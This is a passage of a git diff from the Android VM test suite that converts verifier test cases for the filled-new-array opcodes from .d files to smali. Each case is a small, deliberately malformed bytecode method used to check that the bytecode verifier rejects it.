+.registers 10
+    filled-new-array {v5, v6, v7, v8, v4}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.d
deleted file mode 100644
index 6be462d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_6.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIIJ)V
-.limit regs 11
-    filled-new-array {v5, v6, v7, v8, v9}, [I
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali
new file mode 100644
index 0000000..c7530f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_6.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIIJ)V
+.registers 11
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.d
deleted file mode 100644
index 129a800..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_7.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v9}, I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali
new file mode 100644
index 0000000..fcaaa88
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_7.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.d
deleted file mode 100644
index 951e06a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_8.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 10
-
-       invoke-direct {v9}, java/lang/Object/<init>()V
-       
-       const v5, 0
-       const v6, 0
-       const v7, 0
-       const v8, 0
-       const v9, 0
-       filled-new-array {v5, v6, v7, v8, v9}, [I
-       move-result-object v0
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali
new file mode 100644
index 0000000..c556ca7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_8.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 10
+
+       invoke-direct {v9}, Ljava/lang/Object;-><init>()V
+       
+       const v5, 0
+       const v6, 0
+       const v7, 0
+       const v8, 0
+       const v9, 0
+       filled-new-array {v5, v6, v7, v8, v9}, [I
+       move-result-object v0
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.d
deleted file mode 100644
index c7ba0ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_9.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
-.limit regs 10
-    filled-new-array {v9}, [Ljava/lang/String;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali
new file mode 100644
index 0000000..962b1c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_9.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array {v9}, [Ljava/lang/String;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.d
deleted file mode 100644
index 503c12a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_1.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali
new file mode 100644
index 0000000..5e6f627
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_1.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.d
deleted file mode 100644
index 50a34b5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_10.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 10
-    const v9, 0
-    filled-new-array/range {v9}, [Ljava/lang/StringNNNNN;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali
new file mode 100644
index 0000000..663829d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_10.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array/range {v9}, [Ljava/lang/StringNNNNN;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.d
deleted file mode 100644
index e3a21e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_11.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 10
-    const v9, 0
-    filled-new-array/range {v9}, [Ldot/junit/opcodes/filled_new_array_range/TestStubs;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali
new file mode 100644
index 0000000..6f47fda
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_11.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array/range {v9}, [Ldot/junit/opcodes/filled_new_array_range/TestStubs;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.d
deleted file mode 100644
index 2b2ef15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_2.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
-.limit regs 10
-    filled-new-array/range {v8..v9}, [Ljava/lang/Object;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali
new file mode 100644
index 0000000..37683b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_2.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array/range {v8..v9}, [Ljava/lang/Object;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.d
deleted file mode 100644
index f8c25f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_3.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali
new file mode 100644
index 0000000..03b95b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_3.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.d
deleted file mode 100644
index ab3d24e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_4.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v10}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali
new file mode 100644
index 0000000..2698ce9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_4.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v10}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.d
deleted file mode 100644
index 6781fa1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_5.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v4..v8}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali
new file mode 100644
index 0000000..730a789
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_5.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v4..v8}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.d
deleted file mode 100644
index 33233b5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
